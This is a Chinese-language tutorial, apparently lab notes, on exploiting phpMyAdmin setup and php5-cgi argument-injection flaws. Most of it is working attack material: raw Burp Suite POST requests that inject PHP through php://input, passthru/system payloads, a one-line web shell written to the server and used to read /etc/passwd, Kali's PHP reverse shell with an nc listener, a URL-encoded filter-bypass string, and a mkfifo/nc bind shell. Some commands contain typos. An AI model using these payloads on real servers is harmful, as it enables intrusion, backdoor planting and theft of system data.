早期phpMyAdmin服务器的一个漏洞
php服务器默认安装如果setup不禁用掉的话,可以不通过登陆账号直接进入到里面进行配置
http://192.168.133.132/phpMyAdmin/setup/
通过post方法,修改PHP主配置文件,就可以执行命令行对服务器进行操作,php语言中passthru函数可以执行操作系统的指令
http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 通过phpMyAdmin修改.ini主配置文件
POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
Content-Length: 34
<?php
passthru('ls');
die();
?>
打开burpsuite,在repeater中执行以上的代码,Go
就可以在右侧返回的信息中看到执行的结果
只要在passthru()方法中添加想要执行的命令
甚至可以写文件,这样我们就可以在目标服务器中提交木马等操作了。
一枚简单的木马
利用的是位于phpMyAdmin/setup下的漏洞
POST http://192.168.133.132/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
Host: 192.168.20.10
Content-Length: 100
<?php
passthru('echo "<?php $cmd = $_GET["cmd"];system($cmd);?>" > /var/www/2.php');
die();
?>
打开burpsuite,在repeater中执行以上的代码,Go
passthru('cat /var/www/2.php');
查看刚才写的文件,返回发现写成功了
打开l浏览器输入
http://192.168.133.132/2.php?cmd=id
http://192.168.133.132/2.php?cmd=pwd
http://192.168.133.132/2.php?cmd=ls
http://192.168.133.132/2.php?cmd=cat /etc/passwd
你会发现这样操作非常像在shell中执行,只要在变量"?cmd="后面添加命令即可
php反弹shell
它在kali的位置
/usr/share/webshells/php/php-reverse-shell.php
修改一下,把IP换成本机的IP地址
然后将所有内容复制下来复制到在burpsuite的body中
先不发送请求,打开一个终端输入 nc -nvvlp 1234 侦听这个端口号,再发送请求
于是就建立了连接,就可以在终端上操作php的服务器了,和在自己终端上操作差不多
有时候会发现有些命令执行不了,比如ifconfig,这是因为现在的用户权限下,有些命令的环境变量没有设置好,我们可以查找到这个命令的位置,然后执行它
cd /sbin
./ifconfg
就能执行了
又一枚木马
这个利用ubuntu/debian默认安装的php5-cgi的漏洞
可直接访问/cgi-bin/php5和/cgi-bin/php ,这两个目录位于操作系统的根目录下,而不是在web的根目录下,它们不会在网页页面上显示,所以这些目录用扫描工具是爬网爬不出来的,但是他们是可以被访问的。
打开burpsuite,输入
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 123
Content-Length: 50
<?php
echo system('cat /etc/passwd');
die();
?>
注:%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1 这一串是经过编码之后的内容,对它解码会发现是这些内容,为为什么要这样编码呢?是因为php服务器进行了一些过滤机制,如果用明文还执行不成功。
一定要有host,后面的内容可以随便填
Host: 123
go
在服务器上打开一个侦听端口
echo system('mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 444| > /tmp/pipe');
php服务器开启一个端口等待连接
然后打开一个终端用nc连接,就拿到shell了